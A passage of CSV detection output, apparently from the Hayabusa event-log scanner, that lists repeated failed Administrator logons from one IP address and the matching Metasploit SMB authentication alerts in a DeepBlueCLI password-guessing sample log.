Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:16.849 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: C0Qais0cF8avXJQ6 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:16.849 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:16.940 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 7KBM2fIEK6pEl7F2 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:16.940 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:16.972 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: N3stckaysFk58QAF : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:16.972 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:17.017 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: oVK4S15DDLWISQ7i : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:17.017 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:17.070 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: fAA1bFLD5YMohS9q : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:17.070 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:17.105 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: k5V3sfIsj4kYtaGe : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:17.105 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:17.152 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: IJw4MBG0cvIz2fMR : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:17.152 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:17.196 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: AXJ0UBfKCzLXJ5y0 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:17.196 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:17.232 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: Z3A2mmYGcjHBbX3M : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:17.232 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:17.268 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: oGlR6pBLnDrzMsqu : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:17.268 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:17.316 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: Gv7nWzZ1HN9mgTya : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:17.316 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:17.418 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: dnPUb3w2d7Ltif2E : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:17.418 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:17.521 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: GCWXdvBeDPpeKhWJ : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:17.521 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:17.576 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: GN3OXSzQqLDF348i : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:17.576 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:17.624 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: AAWiBhYPNQ0RUuOX : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:17.624 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:17.662 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: V5CBG3hblqr8kvWw : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:17.662 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:17.706 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: MDBaKpfYttm4H1gj : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:17.706 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:17.743 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: PNszt6piEznMlTdF : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:17.743 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:17.789 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: iqmBPOQIG6M1rZjX : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:17.789 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:17.844 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: BJs7tuZpsPMYJHOD : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:17.844 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:17.880 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: LUT5oe2DwS5vW84K : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:17.880 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:17.928 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 3OTe0uiDHhf5GzRL : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:17.928 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:17.964 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 71TuxFRZFyZEQp1S : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:17.964 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:18.008 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: xRvTmizOLj3UUpD7 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:18.008 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:18.044 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: LnQEZPWaN2OkpTLa : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:18.044 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:18.076 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: HnHR9DAtgzu561sx : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:18.076 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:18.128 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: DfBl3dbluZ7GiFum : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:18.128 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:18.168 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 1Hlgn7gsZwRvlXAk : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:18.168 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:18.212 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: eyHVPtGpnmmRjJuO : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:18.212 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:18.252 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: F0l3QC0rLt9yGaIe : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:18.252 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:18.289 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: XfEng3JgXLmgI8GN : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:18.289 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:18.334 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: ORIegzlkHy8AX6RW : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:18.334 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:18.377 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: AzS4xRnHKxSwz5sZ : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:18.377 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:18.415 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: v0hA1XvRIlqwKG6g : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:18.415 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:18.464 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: mKXKkvlHvjRh33Vw : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:18.464 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:18.582 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: JIMTGRC5IQlkrG9c : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:18.582 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:18.658 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: NYcLsxwbg8LkGCuQ : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:18.658 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:18.720 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: kmttijRBtXqEbU0W : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:18.720 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:18.765 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: DXC3hYI1Gin59gvG : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:18.765 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:18.807 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: hQiozAIr9Jgklmks : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:18.807 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:18.844 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: O598IvZRpbdU1liO : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:18.844 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:18.888 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: xlmYWrAnn3sUNSRk : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:18.888 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:18.933 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 0aAAkO0uOGIq8zVM : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:18.933 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:18.968 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 26K4BIpgUbBNWbDM : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:18.968 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:19.008 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: moW3Ts7edqoQ9XeU : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:19.008 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:19.052 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: l8C4d3xE0QkWywbf : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:19.052 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:19.086 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: K1EgYFhtgrcjtcXM : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:19.086 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB 